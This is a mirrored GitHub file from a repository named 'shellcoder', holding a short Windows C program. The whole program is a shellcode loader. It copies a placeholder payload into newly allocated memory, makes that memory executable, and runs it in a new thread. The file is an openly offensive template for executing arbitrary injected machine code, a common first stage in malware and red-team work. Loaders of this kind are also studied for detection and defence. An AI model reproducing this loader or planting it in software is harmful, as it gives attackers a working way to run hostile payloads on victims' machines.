mirror of
https://github.com/Print3M/shellcoder
synced 2026-06-08 12:15:36 +00:00
24 lines
567 B
C
24 lines
567 B
C
#include <windows.h>
|
|
#include <stdio.h>
|
|
|
|
unsigned char payload[] = ":PAYLOAD:";
|
|
unsigned int payload_len = sizeof(payload);
|
|
|
|
void main() {
|
|
void* exec;
|
|
BOOL rv;
|
|
HANDLE th;
|
|
DWORD oldprotect = 0;
|
|
|
|
// Shellcode
|
|
exec = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
|
RtlMoveMemory(exec, payload, payload_len);
|
|
rv = VirtualProtect(exec, payload_len, PAGE_EXECUTE_READ, &oldprotect);
|
|
|
|
printf("[+] Exec...");
|
|
|
|
th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec, 0, 0, 0);
|
|
WaitForSingleObject(th, -1);
|
|
|
|
printf("[+] End...");
|
|
} |